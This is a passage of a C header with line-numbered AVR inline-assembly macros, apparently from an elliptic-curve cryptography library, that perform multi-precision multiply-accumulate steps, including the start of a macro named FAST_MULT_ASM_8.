7857 "mul r11, r21 \n\t" \
7858 "add r23, r0 \n\t" \
7859 "adc r24, r1 \n\t" \
7860 "adc r22, r25 \n\t" \
7861 "mul r2, r20 \n\t" \
7862 "add r23, r0 \n\t" \
7863 "adc r24, r1 \n\t" \
7864 "adc r22, r25 \n\t" \
7865 "mul r3, r19 \n\t" \
7866 "add r23, r0 \n\t" \
7867 "adc r24, r1 \n\t" \
7868 "adc r22, r25 \n\t" \
7869 "mul r4, r18 \n\t" \
7870 "add r23, r0 \n\t" \
7871 "adc r24, r1 \n\t" \
7872 "adc r22, r25 \n\t" \
7873 "mul r5, r17 \n\t" \
7874 "add r23, r0 \n\t" \
7875 "adc r24, r1 \n\t" \
7876 "adc r22, r25 \n\t" \
7877 "mul r6, r16 \n\t" \
7878 "add r23, r0 \n\t" \
7879 "adc r24, r1 \n\t" \
7880 "adc r22, r25 \n\t" \
7881 "mul r7, r15 \n\t" \
7882 "add r23, r0 \n\t" \
7883 "adc r24, r1 \n\t" \
7884 "adc r22, r25 \n\t" \
7885 "mul r8, r14 \n\t" \
7886 "add r23, r0 \n\t" \
7887 "adc r24, r1 \n\t" \
7888 "adc r22, r25 \n\t" \
7889 "mul r9, r13 \n\t" \
7890 "add r23, r0 \n\t" \
7891 "adc r24, r1 \n\t" \
7892 "adc r22, r25 \n\t" \
7893 "ld r0, z \n\t" \
7894 "add r23, r0 \n\t" \
7895 "adc r24, r25 \n\t" \
7896 "adc r22, r25 \n\t" \
7897 "st z+, r23 \n\t" \
7898 \
7899 "ld r13, y+ \n\t" \
7900 "ldi r23, 0 \n\t" \
7901 "mul r10, r13 \n\t" \
7902 "add r24, r0 \n\t" \
7903 "adc r22, r1 \n\t" \
7904 "adc r23, r25 \n\t" \
7905 "mul r11, r12 \n\t" \
7906 "add r24, r0 \n\t" \
7907 "adc r22, r1 \n\t" \
7908 "adc r23, r25 \n\t" \
7909 "mul r2, r21 \n\t" \
7910 "add r24, r0 \n\t" \
7911 "adc r22, r1 \n\t" \
7912 "adc r23, r25 \n\t" \
7913 "mul r3, r20 \n\t" \
7914 "add r24, r0 \n\t" \
7915 "adc r22, r1 \n\t" \
7916 "adc r23, r25 \n\t" \
7917 "mul r4, r19 \n\t" \
7918 "add r24, r0 \n\t" \
7919 "adc r22, r1 \n\t" \
7920 "adc r23, r25 \n\t" \
7921 "mul r5, r18 \n\t" \
7922 "add r24, r0 \n\t" \
7923 "adc r22, r1 \n\t" \
7924 "adc r23, r25 \n\t" \
7925 "mul r6, r17 \n\t" \
7926 "add r24, r0 \n\t" \
7927 "adc r22, r1 \n\t" \
7928 "adc r23, r25 \n\t" \
7929 "mul r7, r16 \n\t" \
7930 "add r24, r0 \n\t" \
7931 "adc r22, r1 \n\t" \
7932 "adc r23, r25 \n\t" \
7933 "mul r8, r15 \n\t" \
7934 "add r24, r0 \n\t" \
7935 "adc r22, r1 \n\t" \
7936 "adc r23, r25 \n\t" \
7937 "mul r9, r14 \n\t" \
7938 "add r24, r0 \n\t" \
7939 "adc r22, r1 \n\t" \
7940 "adc r23, r25 \n\t" \
7941 "ld r0, z \n\t" \
7942 "add r24, r0 \n\t" \
7943 "adc r22, r25 \n\t" \
7944 "adc r23, r25 \n\t" \
7945 "st z+, r24 \n\t" \
7946 \
7947 "ld r14, y+ \n\t" \
7948 "ldi r24, 0 \n\t" \
7949 "mul r10, r14 \n\t" \
7950 "add r22, r0 \n\t" \
7951 "adc r23, r1 \n\t" \
7952 "adc r24, r25 \n\t" \
7953 "mul r11, r13 \n\t" \
7954 "add r22, r0 \n\t" \
7955 "adc r23, r1 \n\t" \
7956 "adc r24, r25 \n\t" \
7957 "mul r2, r12 \n\t" \
7958 "add r22, r0 \n\t" \
7959 "adc r23, r1 \n\t" \
7960 "adc r24, r25 \n\t" \
7961 "mul r3, r21 \n\t" \
7962 "add r22, r0 \n\t" \
7963 "adc r23, r1 \n\t" \
7964 "adc r24, r25 \n\t" \
7965 "mul r4, r20 \n\t" \
7966 "add r22, r0 \n\t" \
7967 "adc r23, r1 \n\t" \
7968 "adc r24, r25 \n\t" \
7969 "mul r5, r19 \n\t" \
7970 "add r22, r0 \n\t" \
7971 "adc r23, r1 \n\t" \
7972 "adc r24, r25 \n\t" \
7973 "mul r6, r18 \n\t" \
7974 "add r22, r0 \n\t" \
7975 "adc r23, r1 \n\t" \
7976 "adc r24, r25 \n\t" \
7977 "mul r7, r17 \n\t" \
7978 "add r22, r0 \n\t" \
7979 "adc r23, r1 \n\t" \
7980 "adc r24, r25 \n\t" \
7981 "mul r8, r16 \n\t" \
7982 "add r22, r0 \n\t" \
7983 "adc r23, r1 \n\t" \
7984 "adc r24, r25 \n\t" \
7985 "mul r9, r15 \n\t" \
7986 "add r22, r0 \n\t" \
7987 "adc r23, r1 \n\t" \
7988 "adc r24, r25 \n\t" \
7989 "ld r0, z \n\t" \
7990 "add r22, r0 \n\t" \
7991 "adc r23, r25 \n\t" \
7992 "adc r24, r25 \n\t" \
7993 "st z+, r22 \n\t" \
7994 \
7995 "ld r15, y+ \n\t" \
7996 "ldi r22, 0 \n\t" \
7997 "mul r10, r15 \n\t" \
7998 "add r23, r0 \n\t" \
7999 "adc r24, r1 \n\t" \
8000 "adc r22, r25 \n\t" \
8001 "mul r11, r14 \n\t" \
8002 "add r23, r0 \n\t" \
8003 "adc r24, r1 \n\t" \
8004 "adc r22, r25 \n\t" \
8005 "mul r2, r13 \n\t" \
8006 "add r23, r0 \n\t" \
8007 "adc r24, r1 \n\t" \
8008 "adc r22, r25 \n\t" \
8009 "mul r3, r12 \n\t" \
8010 "add r23, r0 \n\t" \
8011 "adc r24, r1 \n\t" \
8012 "adc r22, r25 \n\t" \
8013 "mul r4, r21 \n\t" \
8014 "add r23, r0 \n\t" \
8015 "adc r24, r1 \n\t" \
8016 "adc r22, r25 \n\t" \
8017 "mul r5, r20 \n\t" \
8018 "add r23, r0 \n\t" \
8019 "adc r24, r1 \n\t" \
8020 "adc r22, r25 \n\t" \
8021 "mul r6, r19 \n\t" \
8022 "add r23, r0 \n\t" \
8023 "adc r24, r1 \n\t" \
8024 "adc r22, r25 \n\t" \
8025 "mul r7, r18 \n\t" \
8026 "add r23, r0 \n\t" \
8027 "adc r24, r1 \n\t" \
8028 "adc r22, r25 \n\t" \
8029 "mul r8, r17 \n\t" \
8030 "add r23, r0 \n\t" \
8031 "adc r24, r1 \n\t" \
8032 "adc r22, r25 \n\t" \
8033 "mul r9, r16 \n\t" \
8034 "add r23, r0 \n\t" \
8035 "adc r24, r1 \n\t" \
8036 "adc r22, r25 \n\t" \
8037 "ld r0, z \n\t" \
8038 "add r23, r0 \n\t" \
8039 "adc r24, r25 \n\t" \
8040 "adc r22, r25 \n\t" \
8041 "st z+, r23 \n\t" \
8042 \
8043 "ld r16, y+ \n\t" \
8044 "ldi r23, 0 \n\t" \
8045 "mul r10, r16 \n\t" \
8046 "add r24, r0 \n\t" \
8047 "adc r22, r1 \n\t" \
8048 "adc r23, r25 \n\t" \
8049 "mul r11, r15 \n\t" \
8050 "add r24, r0 \n\t" \
8051 "adc r22, r1 \n\t" \
8052 "adc r23, r25 \n\t" \
8053 "mul r2, r14 \n\t" \
8054 "add r24, r0 \n\t" \
8055 "adc r22, r1 \n\t" \
8056 "adc r23, r25 \n\t" \
8057 "mul r3, r13 \n\t" \
8058 "add r24, r0 \n\t" \
8059 "adc r22, r1 \n\t" \
8060 "adc r23, r25 \n\t" \
8061 "mul r4, r12 \n\t" \
8062 "add r24, r0 \n\t" \
8063 "adc r22, r1 \n\t" \
8064 "adc r23, r25 \n\t" \
8065 "mul r5, r21 \n\t" \
8066 "add r24, r0 \n\t" \
8067 "adc r22, r1 \n\t" \
8068 "adc r23, r25 \n\t" \
8069 "mul r6, r20 \n\t" \
8070 "add r24, r0 \n\t" \
8071 "adc r22, r1 \n\t" \
8072 "adc r23, r25 \n\t" \
8073 "mul r7, r19 \n\t" \
8074 "add r24, r0 \n\t" \
8075 "adc r22, r1 \n\t" \
8076 "adc r23, r25 \n\t" \
8077 "mul r8, r18 \n\t" \
8078 "add r24, r0 \n\t" \
8079 "adc r22, r1 \n\t" \
8080 "adc r23, r25 \n\t" \
8081 "mul r9, r17 \n\t" \
8082 "add r24, r0 \n\t" \
8083 "adc r22, r1 \n\t" \
8084 "adc r23, r25 \n\t" \
8085 "ld r0, z \n\t" \
8086 "add r24, r0 \n\t" \
8087 "adc r22, r25 \n\t" \
8088 "adc r23, r25 \n\t" \
8089 "st z+, r24 \n\t" \
8090 \
8091 "ld r17, y+ \n\t" \
8092 "ldi r24, 0 \n\t" \
8093 "mul r10, r17 \n\t" \
8094 "add r22, r0 \n\t" \
8095 "adc r23, r1 \n\t" \
8096 "adc r24, r25 \n\t" \
8097 "mul r11, r16 \n\t" \
8098 "add r22, r0 \n\t" \
8099 "adc r23, r1 \n\t" \
8100 "adc r24, r25 \n\t" \
8101 "mul r2, r15 \n\t" \
8102 "add r22, r0 \n\t" \
8103 "adc r23, r1 \n\t" \
8104 "adc r24, r25 \n\t" \
8105 "mul r3, r14 \n\t" \
8106 "add r22, r0 \n\t" \
8107 "adc r23, r1 \n\t" \
8108 "adc r24, r25 \n\t" \
8109 "mul r4, r13 \n\t" \
8110 "add r22, r0 \n\t" \
8111 "adc r23, r1 \n\t" \
8112 "adc r24, r25 \n\t" \
8113 "mul r5, r12 \n\t" \
8114 "add r22, r0 \n\t" \
8115 "adc r23, r1 \n\t" \
8116 "adc r24, r25 \n\t" \
8117 "mul r6, r21 \n\t" \
8118 "add r22, r0 \n\t" \
8119 "adc r23, r1 \n\t" \
8120 "adc r24, r25 \n\t" \
8121 "mul r7, r20 \n\t" \
8122 "add r22, r0 \n\t" \
8123 "adc r23, r1 \n\t" \
8124 "adc r24, r25 \n\t" \
8125 "mul r8, r19 \n\t" \
8126 "add r22, r0 \n\t" \
8127 "adc r23, r1 \n\t" \
8128 "adc r24, r25 \n\t" \
8129 "mul r9, r18 \n\t" \
8130 "add r22, r0 \n\t" \
8131 "adc r23, r1 \n\t" \
8132 "adc r24, r25 \n\t" \
8133 "ld r0, z \n\t" \
8134 "add r22, r0 \n\t" \
8135 "adc r23, r25 \n\t" \
8136 "adc r24, r25 \n\t" \
8137 "st z+, r22 \n\t" \
8138 \
8139 "ld r18, y+ \n\t" \
8140 "ldi r22, 0 \n\t" \
8141 "mul r10, r18 \n\t" \
8142 "add r23, r0 \n\t" \
8143 "adc r24, r1 \n\t" \
8144 "adc r22, r25 \n\t" \
8145 "mul r11, r17 \n\t" \
8146 "add r23, r0 \n\t" \
8147 "adc r24, r1 \n\t" \
8148 "adc r22, r25 \n\t" \
8149 "mul r2, r16 \n\t" \
8150 "add r23, r0 \n\t" \
8151 "adc r24, r1 \n\t" \
8152 "adc r22, r25 \n\t" \
8153 "mul r3, r15 \n\t" \
8154 "add r23, r0 \n\t" \
8155 "adc r24, r1 \n\t" \
8156 "adc r22, r25 \n\t" \
8157 "mul r4, r14 \n\t" \
8158 "add r23, r0 \n\t" \
8159 "adc r24, r1 \n\t" \
8160 "adc r22, r25 \n\t" \
8161 "mul r5, r13 \n\t" \
8162 "add r23, r0 \n\t" \
8163 "adc r24, r1 \n\t" \
8164 "adc r22, r25 \n\t" \
8165 "mul r6, r12 \n\t" \
8166 "add r23, r0 \n\t" \
8167 "adc r24, r1 \n\t" \
8168 "adc r22, r25 \n\t" \
8169 "mul r7, r21 \n\t" \
8170 "add r23, r0 \n\t" \
8171 "adc r24, r1 \n\t" \
8172 "adc r22, r25 \n\t" \
8173 "mul r8, r20 \n\t" \
8174 "add r23, r0 \n\t" \
8175 "adc r24, r1 \n\t" \
8176 "adc r22, r25 \n\t" \
8177 "mul r9, r19 \n\t" \
8178 "add r23, r0 \n\t" \
8179 "adc r24, r1 \n\t" \
8180 "adc r22, r25 \n\t" \
8181 "ld r0, z \n\t" \
8182 "add r23, r0 \n\t" \
8183 "adc r24, r25 \n\t" \
8184 "adc r22, r25 \n\t" \
8185 "st z+, r23 \n\t" \
8186 \
8187 "ld r19, y+ \n\t" \
8188 "ldi r23, 0 \n\t" \
8189 "mul r10, r19 \n\t" \
8190 "add r24, r0 \n\t" \
8191 "adc r22, r1 \n\t" \
8192 "adc r23, r25 \n\t" \
8193 "mul r11, r18 \n\t" \
8194 "add r24, r0 \n\t" \
8195 "adc r22, r1 \n\t" \
8196 "adc r23, r25 \n\t" \
8197 "mul r2, r17 \n\t" \
8198 "add r24, r0 \n\t" \
8199 "adc r22, r1 \n\t" \
8200 "adc r23, r25 \n\t" \
8201 "mul r3, r16 \n\t" \
8202 "add r24, r0 \n\t" \
8203 "adc r22, r1 \n\t" \
8204 "adc r23, r25 \n\t" \
8205 "mul r4, r15 \n\t" \
8206 "add r24, r0 \n\t" \
8207 "adc r22, r1 \n\t" \
8208 "adc r23, r25 \n\t" \
8209 "mul r5, r14 \n\t" \
8210 "add r24, r0 \n\t" \
8211 "adc r22, r1 \n\t" \
8212 "adc r23, r25 \n\t" \
8213 "mul r6, r13 \n\t" \
8214 "add r24, r0 \n\t" \
8215 "adc r22, r1 \n\t" \
8216 "adc r23, r25 \n\t" \
8217 "mul r7, r12 \n\t" \
8218 "add r24, r0 \n\t" \
8219 "adc r22, r1 \n\t" \
8220 "adc r23, r25 \n\t" \
8221 "mul r8, r21 \n\t" \
8222 "add r24, r0 \n\t" \
8223 "adc r22, r1 \n\t" \
8224 "adc r23, r25 \n\t" \
8225 "mul r9, r20 \n\t" \
8226 "add r24, r0 \n\t" \
8227 "adc r22, r1 \n\t" \
8228 "adc r23, r25 \n\t" \
8229 "ld r0, z \n\t" \
8230 "add r24, r0 \n\t" \
8231 "adc r22, r25 \n\t" \
8232 "adc r23, r25 \n\t" \
8233 "st z+, r24 \n\t" \
8234 \
8235 "ldi r24, 0 \n\t" \
8236 "mul r11, r19 \n\t" \
8237 "add r22, r0 \n\t" \
8238 "adc r23, r1 \n\t" \
8239 "adc r24, r25 \n\t" \
8240 "mul r2, r18 \n\t" \
8241 "add r22, r0 \n\t" \
8242 "adc r23, r1 \n\t" \
8243 "adc r24, r25 \n\t" \
8244 "mul r3, r17 \n\t" \
8245 "add r22, r0 \n\t" \
8246 "adc r23, r1 \n\t" \
8247 "adc r24, r25 \n\t" \
8248 "mul r4, r16 \n\t" \
8249 "add r22, r0 \n\t" \
8250 "adc r23, r1 \n\t" \
8251 "adc r24, r25 \n\t" \
8252 "mul r5, r15 \n\t" \
8253 "add r22, r0 \n\t" \
8254 "adc r23, r1 \n\t" \
8255 "adc r24, r25 \n\t" \
8256 "mul r6, r14 \n\t" \
8257 "add r22, r0 \n\t" \
8258 "adc r23, r1 \n\t" \
8259 "adc r24, r25 \n\t" \
8260 "mul r7, r13 \n\t" \
8261 "add r22, r0 \n\t" \
8262 "adc r23, r1 \n\t" \
8263 "adc r24, r25 \n\t" \
8264 "mul r8, r12 \n\t" \
8265 "add r22, r0 \n\t" \
8266 "adc r23, r1 \n\t" \
8267 "adc r24, r25 \n\t" \
8268 "mul r9, r21 \n\t" \
8269 "add r22, r0 \n\t" \
8270 "adc r23, r1 \n\t" \
8271 "adc r24, r25 \n\t" \
8272 "st z+, r22 \n\t" \
8273 \
8274 "ldi r22, 0 \n\t" \
8275 "mul r2, r19 \n\t" \
8276 "add r23, r0 \n\t" \
8277 "adc r24, r1 \n\t" \
8278 "adc r22, r25 \n\t" \
8279 "mul r3, r18 \n\t" \
8280 "add r23, r0 \n\t" \
8281 "adc r24, r1 \n\t" \
8282 "adc r22, r25 \n\t" \
8283 "mul r4, r17 \n\t" \
8284 "add r23, r0 \n\t" \
8285 "adc r24, r1 \n\t" \
8286 "adc r22, r25 \n\t" \
8287 "mul r5, r16 \n\t" \
8288 "add r23, r0 \n\t" \
8289 "adc r24, r1 \n\t" \
8290 "adc r22, r25 \n\t" \
8291 "mul r6, r15 \n\t" \
8292 "add r23, r0 \n\t" \
8293 "adc r24, r1 \n\t" \
8294 "adc r22, r25 \n\t" \
8295 "mul r7, r14 \n\t" \
8296 "add r23, r0 \n\t" \
8297 "adc r24, r1 \n\t" \
8298 "adc r22, r25 \n\t" \
8299 "mul r8, r13 \n\t" \
8300 "add r23, r0 \n\t" \
8301 "adc r24, r1 \n\t" \
8302 "adc r22, r25 \n\t" \
8303 "mul r9, r12 \n\t" \
8304 "add r23, r0 \n\t" \
8305 "adc r24, r1 \n\t" \
8306 "adc r22, r25 \n\t" \
8307 "st z+, r23 \n\t" \
8308 \
8309 "ldi r23, 0 \n\t" \
8310 "mul r3, r19 \n\t" \
8311 "add r24, r0 \n\t" \
8312 "adc r22, r1 \n\t" \
8313 "adc r23, r25 \n\t" \
8314 "mul r4, r18 \n\t" \
8315 "add r24, r0 \n\t" \
8316 "adc r22, r1 \n\t" \
8317 "adc r23, r25 \n\t" \
8318 "mul r5, r17 \n\t" \
8319 "add r24, r0 \n\t" \
8320 "adc r22, r1 \n\t" \
8321 "adc r23, r25 \n\t" \
8322 "mul r6, r16 \n\t" \
8323 "add r24, r0 \n\t" \
8324 "adc r22, r1 \n\t" \
8325 "adc r23, r25 \n\t" \
8326 "mul r7, r15 \n\t" \
8327 "add r24, r0 \n\t" \
8328 "adc r22, r1 \n\t" \
8329 "adc r23, r25 \n\t" \
8330 "mul r8, r14 \n\t" \
8331 "add r24, r0 \n\t" \
8332 "adc r22, r1 \n\t" \
8333 "adc r23, r25 \n\t" \
8334 "mul r9, r13 \n\t" \
8335 "add r24, r0 \n\t" \
8336 "adc r22, r1 \n\t" \
8337 "adc r23, r25 \n\t" \
8338 "st z+, r24 \n\t" \
8339 \
8340 "ldi r24, 0 \n\t" \
8341 "mul r4, r19 \n\t" \
8342 "add r22, r0 \n\t" \
8343 "adc r23, r1 \n\t" \
8344 "adc r24, r25 \n\t" \
8345 "mul r5, r18 \n\t" \
8346 "add r22, r0 \n\t" \
8347 "adc r23, r1 \n\t" \
8348 "adc r24, r25 \n\t" \
8349 "mul r6, r17 \n\t" \
8350 "add r22, r0 \n\t" \
8351 "adc r23, r1 \n\t" \
8352 "adc r24, r25 \n\t" \
8353 "mul r7, r16 \n\t" \
8354 "add r22, r0 \n\t" \
8355 "adc r23, r1 \n\t" \
8356 "adc r24, r25 \n\t" \
8357 "mul r8, r15 \n\t" \
8358 "add r22, r0 \n\t" \
8359 "adc r23, r1 \n\t" \
8360 "adc r24, r25 \n\t" \
8361 "mul r9, r14 \n\t" \
8362 "add r22, r0 \n\t" \
8363 "adc r23, r1 \n\t" \
8364 "adc r24, r25 \n\t" \
8365 "st z+, r22 \n\t" \
8366 \
8367 "ldi r22, 0 \n\t" \
8368 "mul r5, r19 \n\t" \
8369 "add r23, r0 \n\t" \
8370 "adc r24, r1 \n\t" \
8371 "adc r22, r25 \n\t" \
8372 "mul r6, r18 \n\t" \
8373 "add r23, r0 \n\t" \
8374 "adc r24, r1 \n\t" \
8375 "adc r22, r25 \n\t" \
8376 "mul r7, r17 \n\t" \
8377 "add r23, r0 \n\t" \
8378 "adc r24, r1 \n\t" \
8379 "adc r22, r25 \n\t" \
8380 "mul r8, r16 \n\t" \
8381 "add r23, r0 \n\t" \
8382 "adc r24, r1 \n\t" \
8383 "adc r22, r25 \n\t" \
8384 "mul r9, r15 \n\t" \
8385 "add r23, r0 \n\t" \
8386 "adc r24, r1 \n\t" \
8387 "adc r22, r25 \n\t" \
8388 "st z+, r23 \n\t" \
8389 \
8390 "ldi r23, 0 \n\t" \
8391 "mul r6, r19 \n\t" \
8392 "add r24, r0 \n\t" \
8393 "adc r22, r1 \n\t" \
8394 "adc r23, r25 \n\t" \
8395 "mul r7, r18 \n\t" \
8396 "add r24, r0 \n\t" \
8397 "adc r22, r1 \n\t" \
8398 "adc r23, r25 \n\t" \
8399 "mul r8, r17 \n\t" \
8400 "add r24, r0 \n\t" \
8401 "adc r22, r1 \n\t" \
8402 "adc r23, r25 \n\t" \
8403 "mul r9, r16 \n\t" \
8404 "add r24, r0 \n\t" \
8405 "adc r22, r1 \n\t" \
8406 "adc r23, r25 \n\t" \
8407 "st z+, r24 \n\t" \
8408 \
8409 "ldi r24, 0 \n\t" \
8410 "mul r7, r19 \n\t" \
8411 "add r22, r0 \n\t" \
8412 "adc r23, r1 \n\t" \
8413 "adc r24, r25 \n\t" \
8414 "mul r8, r18 \n\t" \
8415 "add r22, r0 \n\t" \
8416 "adc r23, r1 \n\t" \
8417 "adc r24, r25 \n\t" \
8418 "mul r9, r17 \n\t" \
8419 "add r22, r0 \n\t" \
8420 "adc r23, r1 \n\t" \
8421 "adc r24, r25 \n\t" \
8422 "st z+, r22 \n\t" \
8423 \
8424 "ldi r22, 0 \n\t" \
8425 "mul r8, r19 \n\t" \
8426 "add r23, r0 \n\t" \
8427 "adc r24, r1 \n\t" \
8428 "adc r22, r25 \n\t" \
8429 "mul r9, r18 \n\t" \
8430 "add r23, r0 \n\t" \
8431 "adc r24, r1 \n\t" \
8432 "adc r22, r25 \n\t" \
8433 "st z+, r23 \n\t" \
8434 \
8435 "mul r9, r19 \n\t" \
8436 "add r24, r0 \n\t" \
8437 "adc r22, r1 \n\t" \
8438 "st z+, r24 \n\t" \
8439 "st z+, r22 \n\t" \
8440 "eor r1, r1 \n\t"
8441
8442 #define FAST_MULT_ASM_8 \
8443 "adiw r30, 30 \n\t" \
8444 "adiw r28, 30 \n\t" \
8445 "ld r2, x+ \n\t" \
8446 "ld r3, x+ \n\t" \
8447 "ld r12, y+ \n\t" \
8448 "ld r13, y+ \n\t" \
8449 "ldi r25, 0 \n\t" \
8450 \
8451 "ldi r23, 0 \n\t" \
8452 "mul r2, r12 \n\t" \
8453 "st z+, r0 \n\t" \
8454 "mov r22, r1 \n\t" \
8455 \
8456 "ldi r24, 0 \n\t" \
8457 "mul r2, r13 \n\t" \
8458 "add r22, r0 \n\t" \
8459 "adc r23, r1 \n\t" \
8460 "mul r3, r12 \n\t" \
8461 "add r22, r0 \n\t" \
8462 "adc r23, r1 \n\t" \
8463 "adc r24, r25 \n\t" \
8464 "st z+, r22 \n\t" \
8465 \
8466 "mul r3, r13 \n\t" \
8467 "add r23, r0 \n\t" \
8468 "adc r24, r1 \n\t" \
8469 "st z+, r23 \n\t" \
8470 "st z+, r24 \n\t" \
8471 \
8472 "sbiw r30, 14 \n\t" \
8473 "sbiw r28, 12 \n\t" \
8474 "ld r12, y+ \n\t" \
8475 "ld r13, y+ \n\t" \
8476 "ld r14, y+ \n\t" \
8477 "ld r15, y+ \n\t" \
8478 "ld r16, y+ \n\t" \
8479 "ld r17, y+ \n\t" \
8480 "ld r18, y+ \n\t" \
8481 "ld r19, y+ \n\t" \
8482 "ld r20, y+ \n\t" \
8483 "ld r21, y+ \n\t" \
8484 "ld r4, x+ \n\t" \
8485 "ld r5, x+ \n\t" \
8486 "ld r6, x+ \n\t" \
8487 "ld r7, x+ \n\t" \
8488 "ld r8, x+ \n\t" \
8489 "ld r9, x+ \n\t" \
8490 "ld r10, x+ \n\t" \
8491 "ld r11, x+ \n\t" \
8492 \
8493 "ldi r23, 0 \n\t" \
8494 "mul r2, r12 \n\t" \
8495 "st z+, r0 \n\t" \
8496 "mov r22, r1 \n\t" \
8497 \
8498 "ldi r24, 0 \n\t" \
8499 "mul r2, r13 \n\t" \
8500 "add r22, r0 \n\t" \
8501 "adc r23, r1 \n\t" \
8502 "mul r3, r12 \n\t" \
8503 "add r22, r0 \n\t" \
8504 "adc r23, r1 \n\t" \
8505 "adc r24, r25 \n\t" \
8506 "st z+, r22 \n\t" \
8507 \
8508 "ldi r22, 0 \n\t" \
8509 "mul r2, r14 \n\t" \
8510 "add r23, r0 \n\t" \
8511 "adc r24, r1 \n\t" \
8512 "adc r22, r25 \n\t" \
8513 "mul r3, r13 \n\t" \
8514 "add r23, r0 \n\t" \
8515 "adc r24, r1 \n\t" \
8516 "adc r22, r25 \n\t" \
8517 "mul r4, r12 \n\t" \
8518 "add r23, r0 \n\t" \
8519 "adc r24, r1 \n\t" \
8520 "adc r22, r25 \n\t" \
8521 "st z+, r23 \n\t" \
8522 \
8523 "ldi r23, 0 \n\t" \
8524 "mul r2, r15 \n\t" \
8525 "add r24, r0 \n\t" \
8526 "adc r22, r1 \n\t" \
8527 "adc r23, r25 \n\t" \
8528 "mul r3, r14 \n\t" \
8529 "add r24, r0 \n\t" \
8530 "adc r22, r1 \n\t" \
8531 "adc r23, r25 \n\t" \
8532 "mul r4, r13 \n\t" \
8533 "add r24, r0 \n\t" \
8534 "adc r22, r1 \n\t" \
8535 "adc r23, r25 \n\t" \
8536 "mul r5, r12 \n\t" \
8537 "add r24, r0 \n\t" \
8538 "adc r22, r1 \n\t" \
8539 "adc r23, r25 \n\t" \
8540 "st z+, r24 \n\t" \
8541 \
8542 "ldi r24, 0 \n\t" \
8543 "mul r2, r16 \n\t" \
8544 "add r22, r0 \n\t" \
8545 "adc r23, r1 \n\t" \
8546 "adc r24, r25 \n\t" \
8547 "mul r3, r15 \n\t" \
8548 "add r22, r0 \n\t" \
8549 "adc r23, r1 \n\t" \
8550 "adc r24, r25 \n\t" \
8551 "mul r4, r14 \n\t" \
8552 "add r22, r0 \n\t" \
8553 "adc r23, r1 \n\t" \
8554 "adc r24, r25 \n\t" \
8555 "mul r5, r13 \n\t" \
8556 "add r22, r0 \n\t" \
8557 "adc r23, r1 \n\t" \
8558 "adc r24, r25 \n\t" \
8559 "mul r6, r12 \n\t" \
8560 "add r22, r0 \n\t" \
8561 "adc r23, r1 \n\t" \
8562 "adc r24, r25 \n\t" \
8563 "st z+, r22 \n\t" \
8564 \
8565 "ldi r22, 0 \n\t" \
8566 "mul r2, r17 \n\t" \
8567 "add r23, r0 \n\t" \
8568 "adc r24, r1 \n\t" \
8569 "adc r22, r25 \n\t" \
8570 "mul r3, r16 \n\t" \
8571 "add r23, r0 \n\t" \
8572 "adc r24, r1 \n\t" \
8573 "adc r22, r25 \n\t" \
8574 "mul r4, r15 \n\t" \
8575 "add r23, r0 \n\t" \
8576 "adc r24, r1 \n\t" \
8577 "adc r22, r25 \n\t" \
8578 "mul r5, r14 \n\t" \
8579 "add r23, r0 \n\t" \
8580 "adc r24, r1 \n\t" \
8581 "adc r22, r25 \n\t" \
8582 "mul r6, r13 \n\t" \
8583 "add r23, r0 \n\t" \
8584 "adc r24, r1 \n\t" \
8585 "adc r22, r25 \n\t" \
8586 "mul r7, r12 \n\t" \
8587 "add r23, r0 \n\t" \
8588 "adc r24, r1 \n\t" \
8589 "adc r22, r25 \n\t" \
8590 "st z+, r23 \n\t" \
8591 \
8592 "ldi r23, 0 \n\t" \
8593 "mul r2, r18 \n\t" \
8594 "add r24, r0 \n\t" \
8595 "adc r22, r1 \n\t" \
8596 "adc r23, r25 \n\t" \
8597 "mul r3, r17 \n\t" \
8598 "add r24, r0 \n\t" \
8599 "adc r22, r1 \n\t" \
8600 "adc r23, r25 \n\t" \
8601 "mul r4, r16 \n\t" \
8602 "add r24, r0 \n\t" \
8603 "adc r22, r1 \n\t" \
8604 "adc r23, r25 \n\t" \
8605 "mul r5, r15 \n\t" \
8606 "add r24, r0 \n\t" \
8607 "adc r22, r1 \n\t" \
8608 "adc r23, r25 \n\t" \
8609 "mul r6, r14 \n\t" \
8610 "add r24, r0 \n\t" \
8611 "adc r22, r1 \n\t" \
8612 "adc r23, r25 \n\t" \
8613 "mul r7, r13 \n\t" \
8614 "add r24, r0 \n\t" \
8615 "adc r22, r1 \n\t" \
8616 "adc r23, r25 \n\t" \
8617 "mul r8, r12 \n\t" \
8618 "add r24, r0 \n\t" \
8619 "adc r22, r1 \n\t" \
8620 "adc r23, r25 \n\t" \
8621 "st z+, r24 \n\t" \
8622 \
8623 "ldi r24, 0 \n\t" \
8624 "mul r2, r19 \n\t" \
8625 "add r22, r0 \n\t" \
8626 "adc r23, r1 \n\t" \
8627 "adc r24, r25 \n\t" \
8628 "mul r3, r18 \n\t" \
8629 "add r22, r0 \n\t" \
8630 "adc r23, r1 \n\t" \
8631 "adc r24, r25 \n\t" \
8632 "mul r4, r17 \n\t" \
8633 "add r22, r0 \n\t" \
8634 "adc r23, r1 \n\t" \
8635 "adc r24, r25 \n\t" \
8636 "mul r5, r16 \n\t" \
8637 "add r22, r0 \n\t" \
8638 "adc r23, r1 \n\t" \
8639 "adc r24, r25 \n\t" \
8640 "mul r6, r15 \n\t" \
8641 "add r22, r0 \n\t" \
8642 "adc r23, r1 \n\t" \
8643 "adc r24, r25 \n\t" \
8644 "mul r7, r14 \n\t" \
8645 "add r22, r0 \n\t" \
8646 "adc r23, r1 \n\t" \
8647 "adc r24, r25 \n\t" \
8648 "mul r8, r13 \n\t" \
8649 "add r22, r0 \n\t" \
8650 "adc r23, r1 \n\t" \
8651 "adc r24, r25 \n\t" \
8652 "mul r9, r12 \n\t" \
8653 "add r22, r0 \n\t" \
8654 "adc r23, r1 \n\t" \
8655 "adc r24, r25 \n\t" \
8656 "st z+, r22 \n\t" \
8657 \
8658 "ldi r22, 0 \n\t" \
8659 "mul r2, r20 \n\t" \
8660 "add r23, r0 \n\t" \
8661 "adc r24, r1 \n\t" \
8662 "adc r22, r25 \n\t" \
8663 "mul r3, r19 \n\t" \
8664 "add r23, r0 \n\t" \
8665 "adc r24, r1 \n\t" \
8666 "adc r22, r25 \n\t" \
8667 "mul r4, r18 \n\t" \
8668 "add r23, r0 \n\t" \
8669 "adc r24, r1 \n\t" \
8670 "adc r22, r25 \n\t" \
8671 "mul r5, r17 \n\t" \
8672 "add r23, r0 \n\t" \
8673 "adc r24, r1 \n\t" \
8674 "adc r22, r25 \n\t" \
8675 "mul r6, r16 \n\t" \
8676 "add r23, r0 \n\t" \
8677 "adc r24, r1 \n\t" \
